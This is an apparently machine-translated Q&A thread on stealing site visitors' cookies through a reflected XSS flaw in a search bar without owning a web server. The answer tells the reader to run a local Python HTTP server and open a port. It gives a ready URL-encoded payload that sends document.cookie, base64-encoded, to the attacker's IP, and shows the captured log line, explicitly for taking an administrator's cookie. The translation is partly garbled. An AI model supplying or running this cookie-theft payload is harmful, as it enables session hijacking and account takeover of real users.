没有虚拟主机的 XSS 攻击

XSS Attack without Web Hosting

我正在学习 XSS 攻击。

假设我有一个网站(我们称之为 http://www.animallover.com),它允许我在搜索栏中输入任何内容来搜索动物名称。该网站易受攻击,因为在搜索栏中输入 <script>alert(1)</script> 会触发警报。

我的目标是通过要求用户访问 http://www.animallover.com 来窃取用户的 cookie。

我没有网络服务器来托管我的 cookie 捕获脚本。

我该怎么办?

您可以很容易地在自己的计算机上设置 HTTP 服务器。

例如Python3支持以下:

python -m http.server 8000

这将响应到达您系统上端口 8000 的 HTTP 请求。请记住,您可能需要调整防火墙并在路由器上设置 port forwarding 以允许流量通过此端口。并确保在一个空文件夹中输入此命令,因为其中的所有内容都将发布在互联网上。

所有传入的请求都将记录在命令行终端上。因此,如果您尝试获取管理员的 cookie 值,您可以像这样创建一个 link(我在这里假设您的 IP 地址是 12.34.56.78you can get the correct value from Google):

http://example.com/search?q=%3Cscript%3Elocation.href%3D%27http%3A%2F%2F12.34.56.78%3A8000%2F%3F%27%2Bbtoa%28document.cookie%29%3B%3C%2Fscript%3E

这将 运行 目标服务器上的以下脚本:

<script>location.href='http://12.34.56.78:8000/?'+btoa(document.cookie);</script>

cookie 值将采用 base64 编码,因此您需要在它到达时对其进行解码。日志输出将如下所示:

$ python -m http.server 8000
99.99.99.99 - - [01/Jan/2021 01:23:45] "GET /?dXNlcj1hZG1pbjsgc2Vzc2lvbl9pZD0xMjM0NTY3OAo= HTTP/1.1" 200 -